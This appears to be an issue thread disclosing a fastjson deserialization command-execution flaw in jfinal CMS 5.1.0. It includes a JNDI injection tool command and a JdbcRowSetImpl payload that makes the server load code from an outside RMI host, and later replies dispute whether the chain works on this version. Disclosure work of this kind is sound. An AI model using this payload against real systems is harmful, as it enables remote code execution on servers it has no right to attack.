jfinal CMS v5.1.0 has a command execution vulnerability exists

[baimao-box]

jfinal_cms version：5.1.0
JDK version : jdk-8u351

The ActionEnter class is instantiated in the index method of the /ueditor route

The ConfigManager class is instantiated in the constructor of the ActionEnter class

The construction method of ConfigManager calls initEnv()

Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.

The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization

Run the tool on kali

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
        "autoCommit":true
    }
}

Replace with payload

Visit /ueditor, execute the command to pop up the calculator

[ElevenKong]

您好，您的来信我已收到！谢谢！ Best  Wishes!                                 ——孔祥亮

[tianxiabingmadadudu]

jfinal_cms version：5.1.0 JDK version : jdk-8u351

The ActionEnter class is instantiated in the index method of the /ueditor route

The ConfigManager class is instantiated in the constructor of the ActionEnter class

The construction method of ConfigManager calls initEnv()

Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.

The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization

Run the tool on kali

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
        "autoCommit":true
    }
}

Replace with payload

Visit /ueditor, execute the command to pop up the calculator

1.2.62这个版本下反序列化不是修复了吗。大佬是怎么实现的。我这报错了。com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

[ElevenKong]

您好，您的来信我已收到！谢谢！ Best  Wishes!                                 ——孔祥亮

[By-Yexing]

This version of fastjson does have the risk of deserialization, but the poc given by the author is clearly 1.2.25-1.2.47 of the chain, according to the impression, if you want to use this version, you need to introduce an additional jar package, is I not fine??

[ElevenKong]

您好，您的来信我已收到！谢谢！ Best  Wishes!                                 ——孔祥亮